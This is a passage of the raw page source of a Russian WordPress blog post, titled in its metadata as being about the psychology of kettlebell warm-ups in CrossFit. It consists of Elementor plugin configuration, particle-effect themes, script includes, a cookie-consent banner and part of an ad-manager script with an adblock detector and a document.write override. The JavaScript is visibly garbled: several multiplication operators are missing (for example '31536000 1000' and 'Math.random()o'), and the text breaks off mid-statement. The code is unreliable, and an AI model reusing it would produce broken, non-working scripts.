{"ajaxurl":"https:\/\/code-craft.ru\/wp-admin\/admin-ajax.php","nonce":"ce0ee408de","i18n":{"added":"\u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043e ","compare":"\u0421\u0440\u0430\u0432\u043d\u0438\u0442\u044c","loading":"\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430..."},"page_permalink":"https:\/\/code-craft.ru\/blog\/nn-variant-1-tovar-giri-nn-title-psihologicheskiy-aspekt-razminki-v-krossfite-s-giryami-iron-king-16kg-nastraivaemsya-na-produktivnuyu-trenirovku\/","cart_redirectition":"","cart_page_url":"","el_breakpoints":{"mobile":{"label":"\u0422\u0435\u043b\u0435\u0444\u043e\u043d","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"\u0422\u0435\u043b\u0435\u0444\u043e\u043d \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"\u041f\u043b\u0430\u043d\u0448\u0435\u0442","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"\u041f\u043b\u0430\u043d\u0448\u0435\u0442 \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"\u041d\u043e\u0443\u0442\u0431\u0443\u043a","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"\u0428\u0438\u0440\u043e\u043a\u043e\u0444\u043e\u0440\u043c\u0430\u0442\u043d\u044b\u0435","value":2400,"default_value":2400,"direction":"min","is_enabled":false}},"ParticleThemesData":{"default":"{\"particles\":{\"number\":{\"value\":160,\"density\":{\"enable\":true,\"value_area\":800}},\"color\":{\"value\":\"#ffffff\"},\"shape\":{\"type\":\"circle\",\"stroke\":{\"width\":0,\"color\":\"#000000\"},\"polygon\":{\"nb_sides\":5},\"image\":{\"src\":\"img\/github.svg\",\"width\":100,\"height\":100}},\"opacity\":{\"value\":0.5,\"random\":false,\"anim\":{\"enable\":false,\"speed\":1,\"opacity_min\":0.1,\"sync\":false}},\"size\":{\"value\":3,\"random\":true,\"anim\":{\"enable\":false,\"speed\":40,\"size_min\":0.1,\"sync\":false}},\"line_linked\":{\"enable\":true,\"distance\":150,\"color\":\"#ffffff\",\"opacity\":0.4,\"width\":1},\"move\":{\"enable\":true,\"speed\":6,\"direction\":\"none\",\"random\":false,\"straight\":false,\"out_mode\":\"out\",\"bounce\":false,\"attract\":{\"enable\":false,\"rotateX\":600,\"rotateY\":1200}}},\"interactivity\":{\"detect_on\":\"canvas\",\"events\":{\"onhover\":{\"enable\":true,\"mode\":\"repulse\"},\"onclick\":{\"enable\":true,\"mode\":\"push\"},\"resize\":true},\"modes\":{\"grab\":{\"distance\":400,\"line_linked\":{\"opacity\":1}},\"bubble\":{\"distance\":400,\"size\":40,\"duration\":2,\"opacity\":8,\"speed\":3},\"repulse\":{\"distance\":200,\"duration\":0.4},\"push\":{\"particles_nb\":4},\"remove\":{\"particles_nb\":2}}},\"retina_detect\":true}","nasa":"{\"particles\":{\"number\":{\"value\":250,\"density\":{\"enable\":true,\"value_area\":800}},\"color\":{\"value\":\"#ffffff\"},\"shape\":{\"type\":\"circle\",\"stroke\":{\"width\":0,\"color\":\"#000000\"},\"polygon\":{\"nb_sides\":5},\"image\":{\"src\":\"img\/github.svg\",\"width\":100,\"height\":100}},\"opacity\":{\"value\":1,\"random\":true,\"anim\":{\"enable\":true,\"speed\":1,\"opacity_min\":0,\"sync\":false}},\"size\":{\"value\":3,\"random\":true,\"anim\":{\"enable\":false,\"speed\":4,\"size_min\":0.3,\"sync\":false}},\"line_linked\":{\"enable\":false,\"distance\":150,\"color\":\"#ffffff\",\"opacity\":0.4,\"width\":1},\"move\":{\"enable\":true,\"speed\":1,\"direction\":\"none\",\"random\":true,\"straight\":false,\"out_mode\":\"out\",\"bounce\":false,\"attract\":{\"enable\":false,\"rotateX\":600,\"rotateY\":600}}},\"interactivity\":{\"detect_on\":\"canvas\",\"events\":{\"onhover\":{\"enable\":true,\"mode\":\"bubble\"},\"onclick\":{\"enable\":true,\"mode\":\"repulse\"},\"resize\":true},\"modes\":{\"grab\":{\"distance\":400,\"line_linked\":{\"opacity\":1}},\"bubble\":{\"distance\":250,\"size\":0,\"duration\":2,\"opacity\":0,\"speed\":3},\"repulse\":{\"distance\":400,\"duration\":0.4},\"push\":{\"particles_nb\":4},\"remove\":{\"particles_nb\":2}}},\"retina_detect\":true}","bubble":"{\"particles\":{\"number\":{\"value\":15,\"density\":{\"enable\":true,\"value_area\":800}},\"color\":{\"value\":\"#1b1e34\"},\"shape\":{\"type\":\"polygon\",\"stroke\":{\"width\":0,\"color\":\"#000\"},\"polygon\":{\"nb_sides\":6},\"image\":{\"src\":\"img\/github.svg\",\"width\":100,\"height\":100}},\"opacity\":{\"value\":0.3,\"random\":true,\"anim\":{\"enable\":false,\"speed\":1,\"opacity_min\":0.1,\"sync\":false}},\"size\":{\"value\":50,\"random\":false,\"anim\":{\"enable\":true,\"speed\":10,\"size_min\":40,\"sync\":false}},\"line_linked\":{\"enable\":false,\"distance\":200,\"color\":\"#ffffff\",\"opacity\":1,\"width\":2},\"move\":{\"enable\":true,\"speed\":8,\"direction\":\"none\",\"random\":false,\"straight\":false,\"out_mode\":\"out\",\"bounce\":false,\"attract\":{\"enable\":false,\"rotateX\":600,\"rotateY\":1200}}},\"interactivity\":{\"detect_on\":\"canvas\",\"events\":{\"onhover\":{\"enable\":false,\"mode\":\"grab\"},\"onclick\":{\"enable\":false,\"mode\":\"push\"},\"resize\":true},\"modes\":{\"grab\":{\"distance\":400,\"line_linked\":{\"opacity\":1}},\"bubble\":{\"distance\":400,\"size\":40,\"duration\":2,\"opacity\":8,\"speed\":3},\"repulse\":{\"distance\":200,\"duration\":0.4},\"push\":{\"particles_nb\":4},\"remove\":{\"particles_nb\":2}}},\"retina_detect\":true}","snow":"{\"particles\":{\"number\":{\"value\":450,\"density\":{\"enable\":true,\"value_area\":800}},\"color\":{\"value\":\"#fff\"},\"shape\":{\"type\":\"circle\",\"stroke\":{\"width\":0,\"color\":\"#000000\"},\"polygon\":{\"nb_sides\":5},\"image\":{\"src\":\"img\/github.svg\",\"width\":100,\"height\":100}},\"opacity\":{\"value\":0.5,\"random\":true,\"anim\":{\"enable\":false,\"speed\":1,\"opacity_min\":0.1,\"sync\":false}},\"size\":{\"value\":5,\"random\":true,\"anim\":{\"enable\":false,\"speed\":40,\"size_min\":0.1,\"sync\":false}},\"line_linked\":{\"enable\":false,\"distance\":500,\"color\":\"#ffffff\",\"opacity\":0.4,\"width\":2},\"move\":{\"enable\":true,\"speed\":6,\"direction\":\"bottom\",\"random\":false,\"straight\":false,\"out_mode\":\"out\",\"bounce\":false,\"attract\":{\"enable\":false,\"rotateX\":600,\"rotateY\":1200}}},\"interactivity\":{\"detect_on\":\"canvas\",\"events\":{\"onhover\":{\"enable\":true,\"mode\":\"bubble\"},\"onclick\":{\"enable\":true,\"mode\":\"repulse\"},\"resize\":true},\"modes\":{\"grab\":{\"distance\":400,\"line_linked\":{\"opacity\":0.5}},\"bubble\":{\"distance\":400,\"size\":4,\"duration\":0.3,\"opacity\":1,\"speed\":3},\"repulse\":{\"distance\":200,\"duration\":0.4},\"push\":{\"particles_nb\":4},\"remove\":{\"particles_nb\":2}}},\"retina_detect\":true}","nyan_cat":"{\"particles\":{\"number\":{\"value\":150,\"density\":{\"enable\":false,\"value_area\":800}},\"color\":{\"value\":\"#ffffff\"},\"shape\":{\"type\":\"star\",\"stroke\":{\"width\":0,\"color\":\"#000000\"},\"polygon\":{\"nb_sides\":5},\"image\":{\"src\":\"http:\/\/wiki.lexisnexis.com\/academic\/images\/f\/fb\/Itunes_podcast_icon_300.jpg\",\"width\":100,\"height\":100}},\"opacity\":{\"value\":0.5,\"random\":false,\"anim\":{\"enable\":false,\"speed\":1,\"opacity_min\":0.1,\"sync\":false}},\"size\":{\"value\":4,\"random\":true,\"anim\":{\"enable\":false,\"speed\":40,\"size_min\":0.1,\"sync\":false}},\"line_linked\":{\"enable\":false,\"distance\":150,\"color\":\"#ffffff\",\"opacity\":0.4,\"width\":1},\"move\":{\"enable\":true,\"speed\":14,\"direction\":\"left\",\"random\":false,\"straight\":true,\"out_mode\":\"out\",\"bounce\":false,\"attract\":{\"enable\":false,\"rotateX\":600,\"rotateY\":1200}}},\"interactivity\":{\"detect_on\":\"canvas\",\"events\":{\"onhover\":{\"enable\":false,\"mode\":\"grab\"},\"onclick\":{\"enable\":true,\"mode\":\"repulse\"},\"resize\":true},\"modes\":{\"grab\":{\"distance\":200,\"line_linked\":{\"opacity\":1}},\"bubble\":{\"distance\":400,\"size\":40,\"duration\":2,\"opacity\":8,\"speed\":3},\"repulse\":{\"distance\":200,\"duration\":0.4},\"push\":{\"particles_nb\":4},\"remove\":{\"particles_nb\":2}}},\"retina_detect\":true}"},"eael_translate_text":{"required_text":"is a required field","invalid_text":"Invalid","billing_text":"Billing","shipping_text":"Shipping"},"eael_login_nonce":"6d324a19cf","eael_register_nonce":"34c1048cf2"}; </script> <script src='https://code-craft.ru/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/js/view/general.min.js' id='eael-general-js'></script> <script src='https://code-craft.ru/wp-includes/js/imagesloaded.min.js' id='imagesloaded-js'></script> <script src='https://code-craft.ru/wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/js/view/reading-progress.min.js' id='eael-reading-progress-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js' id='elementor-pro-webpack-runtime-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js' id='elementor-webpack-runtime-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/js/frontend-modules.min.js' id='elementor-frontend-modules-js'></script> <script src='https://code-craft.ru/wp-includes/js/dist/vendor/regenerator-runtime.min.js' id='regenerator-runtime-js'></script> <script src='https://code-craft.ru/wp-includes/js/dist/vendor/wp-polyfill.min.js' id='wp-polyfill-js'></script> <script src='https://code-craft.ru/wp-includes/js/dist/hooks.min.js' id='wp-hooks-js'></script> <script src='https://code-craft.ru/wp-includes/js/dist/i18n.min.js' id='wp-i18n-js'></script> <script id='wp-i18n-js-after'> wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); </script> <script id='elementor-pro-frontend-js-before'> var ElementorProFrontendConfig = {"ajaxurl":"https:\/\/code-craft.ru\/wp-admin\/admin-ajax.php","nonce":"321e1b4784","urls":{"assets":"https:\/\/code-craft.ru\/wp-content\/plugins\/elementor-pro\/assets\/","rest":"https:\/\/code-craft.ru\/wp-json\/"},"shareButtonsNetworks":{"facebook":{"title":"Facebook","has_counter":true},"twitter":{"title":"Twitter"},"linkedin":{"title":"LinkedIn","has_counter":true},"pinterest":{"title":"Pinterest","has_counter":true},"reddit":{"title":"Reddit","has_counter":true},"vk":{"title":"VK","has_counter":true},"odnoklassniki":{"title":"OK","has_counter":true},"tumblr":{"title":"Tumblr"},"digg":{"title":"Digg"},"skype":{"title":"Skype"},"stumbleupon":{"title":"StumbleUpon","has_counter":true},"mix":{"title":"Mix"},"telegram":{"title":"Telegram"},"pocket":{"title":"Pocket","has_counter":true},"xing":{"title":"XING","has_counter":true},"whatsapp":{"title":"WhatsApp"},"email":{"title":"Email"},"print":{"title":"Print"}},"facebook_sdk":{"lang":"ru_RU","app_id":""},"lottie":{"defaultAnimationUrl":"https:\/\/code-craft.ru\/wp-content\/plugins\/elementor-pro\/modules\/lottie\/assets\/animations\/default.json"}}; </script> <script src='https://code-craft.ru/wp-content/plugins/elementor-pro/assets/js/frontend.min.js' id='elementor-pro-frontend-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/lib/waypoints/waypoints.min.js' id='elementor-waypoints-js'></script> <script src='https://code-craft.ru/wp-includes/js/jquery/ui/core.min.js' id='jquery-ui-core-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/lib/swiper/swiper.min.js' id='swiper-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js' id='share-link-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js' id='elementor-dialog-js'></script> <script id='elementor-frontend-js-extra'> var uael_particles_script = {"uael_particles_url":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/min-js\/uael-particles.min.js","particles_url":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/lib\/particles\/particles.min.js","snowflakes_image":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/snowflake.svg","gift":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/gift.png","tree":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/tree.png","skull":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/skull.png","ghost":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/ghost.png","moon":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/moon.png","bat":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/bat.png","pumpkin":"https:\/\/code-craft.ru\/wp-content\/plugins\/ultimate-elementor\/assets\/img\/pumpkin.png"}; </script> <script id='elementor-frontend-js-before'> var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"\u041f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0432 Facebook","shareOnTwitter":"\u041f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0432 Twitter","pinIt":"\u0417\u0430\u043f\u0438\u043d\u0438\u0442\u044c","download":"\u0421\u043a\u0430\u0447\u0430\u0442\u044c","downloadImage":"\u0421\u043a\u0430\u0447\u0430\u0442\u044c \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435","fullscreen":"\u0412\u043e \u0432\u0435\u0441\u044c \u044d\u043a\u0440\u0430\u043d","zoom":"\u0423\u0432\u0435\u043b\u0438\u0447\u0435\u043d\u0438\u0435","share":"\u041f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f","playVideo":"\u041f\u0440\u043e\u0438\u0433\u0440\u0430\u0442\u044c \u0432\u0438\u0434\u0435\u043e","previous":"\u041d\u0430\u0437\u0430\u0434","next":"\u0414\u0430\u043b\u0435\u0435","close":"\u0417\u0430\u043a\u0440\u044b\u0442\u044c"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"\u0422\u0435\u043b\u0435\u0444\u043e\u043d","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"\u0422\u0435\u043b\u0435\u0444\u043e\u043d \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"\u041f\u043b\u0430\u043d\u0448\u0435\u0442","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"\u041f\u043b\u0430\u043d\u0448\u0435\u0442 \u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"\u041d\u043e\u0443\u0442\u0431\u0443\u043a","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"\u0428\u0438\u0440\u043e\u043a\u043e\u0444\u043e\u0440\u043c\u0430\u0442\u043d\u044b\u0435","value":2400,"default_value":2400,"direction":"min","is_enabled":false}}},"version":"3.7.4","is_static":false,"experimentalFeatures":{"e_import_export":true,"e_hidden_wordpress_widgets":true,"theme_builder_v2":true,"landing-pages":true,"elements-color-picker":true,"favorite-widgets":true,"admin-top-bar":true,"page-transitions":true,"notes":true,"form-submissions":true,"e_scroll_snap":true},"urls":{"assets":"https:\/\/code-craft.ru\/wp-content\/plugins\/elementor\/assets\/"},"settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description"},"post":{"id":5851,"title":"%60%3Ann%22%22%D0%92%D0%B0%D1%80%D0%B8%D0%B0%D0%BD%D1%82%201%20%28%D0%A2%D0%BE%D0%B2%D0%B0%D1%80%20-%20%D0%93%D0%B8%D1%80%D0%B8%29%3A%22%22nn%60%D0%9F%D1%81%D0%B8%D1%85%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9%20%D0%B0%D1%81%D0%BF%D0%B5%D0%BA%D1%82%20%D1%80%D0%B0%D0%B7%D0%BC%D0%B8%D0%BD%D0%BA%D0%B8%20%D0%B2%20%D0%BA%D1%80%D0%BE%D1%81%D1%81%D1%84%D0%B8%D1%82%D0%B5%20%D1%81%20%D0%B3%D0%B8%D1%80%D1%8F%D0%BC%D0%B8%20Iron%20King%2016%D0%BA%D0%B3%3A%20%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%B0%D0%B8%D0%B2%D0%B0%D0%B5%D0%BC%D1%81%D1%8F%20%D0%BD%D0%B0%20%D0%BF%D1%80%D0%BE%D0%B4%D1%83%D0%BA%D1%82%D0%B8%D0%B2%D0%BD%D1%83%D1%8E%20%D1%82%D1%80%D0%B5%D0%BD%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D1%83","excerpt":"","featuredImage":false}}; </script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/js/frontend.min.js' id='elementor-frontend-js'></script> <script id='elementor-frontend-js-after'> window.scope_array = []; window.backend = 0; jQuery.cachedScript = function( url, options ) { // Allow user to set any option except for dataType, cache, and url. options = jQuery.extend( options || {}, { dataType: "script", cache: true, url: url }); // Return the jqXHR object so we can chain callbacks. return jQuery.ajax( options ); }; jQuery( window ).on( "elementor/frontend/init", function() { elementorFrontend.hooks.addAction( "frontend/element_ready/global", function( $scope, $ ){ if ( "undefined" == typeof $scope ) { return; } if ( $scope.hasClass( "uael-particle-yes" ) ) { window.scope_array.push( $scope ); $scope.find(".uael-particle-wrapper").addClass("js-is-enabled"); }else{ return; } if(elementorFrontend.isEditMode() && $scope.find(".uael-particle-wrapper").hasClass("js-is-enabled") && window.backend == 0 ){ var uael_url = uael_particles_script.uael_particles_url; jQuery.cachedScript( uael_url ); window.backend = 1; }else if(elementorFrontend.isEditMode()){ var uael_url = uael_particles_script.uael_particles_url; jQuery.cachedScript( uael_url ).done(function(){ var flag = true; }); } }); }); jQuery( document ).on( "ready elementor/popup/show", () => { if ( jQuery.find( ".uael-particle-yes" ).length < 1 ) { return; } var uael_url = uael_particles_script.uael_particles_url; jQuery.cachedScript = function( url, options ) { // Allow user to set any option except for dataType, cache, and url. options = jQuery.extend( options || {}, { dataType: "script", cache: true, url: url }); // Return the jqXHR object so we can chain callbacks. return jQuery.ajax( options ); }; jQuery.cachedScript( uael_url ); }); </script> <script src='https://code-craft.ru/wp-content/plugins/elementor-pro/assets/js/preloaded-elements-handlers.min.js' id='pro-preloaded-elements-handlers-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js' id='preloaded-modules-js'></script> <script src='https://code-craft.ru/wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js' id='e-sticky-js'></script> <script> /(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1); </script> <div id="clearfy-cookie" class="clearfy-cookie clearfy-cookie-hide clearfy-cookie--bottom"> <div class="clearfy-cookie-container"> Этот сайт использует cookie для хранения данных. Продолжая использовать сайт, Вы даете свое согласие на работу с этими файлами. <button id="clearfy-cookie-accept" class="clearfy-cookie-accept">OK</button> </div></div><script>var cookie_clearfy_hide = document.cookie.replace(/(?:(?:^|.;\s)clearfy_cookie_hide\s\=\s([^;]).$)|^.$/, "$1");if ( ! cookie_clearfy_hide.length ) { document.getElementById("clearfy-cookie").classList.remove("clearfy-cookie-hide");} document.getElementById("clearfy-cookie-accept").onclick = function() { document.getElementById("clearfy-cookie").className += " clearfy-cookie-hide"; var clearfy_cookie_date = new Date(new Date().getTime() + 31536000 1000); document.cookie = "clearfy_cookie_hide=yes; path=/; expires=" + clearfy_cookie_date.toUTCString(); setTimeout(function() { document.getElementById("clearfy-cookie").parentNode.removeChild( document.getElementById("clearfy-cookie") ); }, 300);}</script><ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins> <style> .fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out {max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(t){var e=document.createElement("div");ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,""),e="",n=0;n<t.length;n++)0!=t[n].indexOf("overflow")&&0!=t[n].indexOf("padding")&&0!=t[n].indexOf("border")&&0!=t[n].indexOf("outline")&&0!=t[n].indexOf("box-shadow")&&0!=t[n].indexOf("background")||(e+=t[n]+": "+t.getPropertyValue(t[n])+"; ");(d=document.createElement("div")).style.cssText=e+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(t,e){var n=60t.getTimezoneOffset()1e3,o=t.getTime(),t=new Date;return o+=864e5e,t.setTime(o),n!=(e=60t.getTimezoneOffset()1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+"="+(e=encodeURIComponent(e));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split("; ").reduce(function(t,e){e=e.split("=");return e[0]===n?decodeURIComponent(e[1]):t},"");return""!=t?t:void 0},window.flatPM_testCookie=function(){var t="test_56445";try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&["proto","constructor","prototype"].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split("?")[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(e[r=a.replace(/\[(\d+)?\]/,"")]||(e[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&"string"==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new 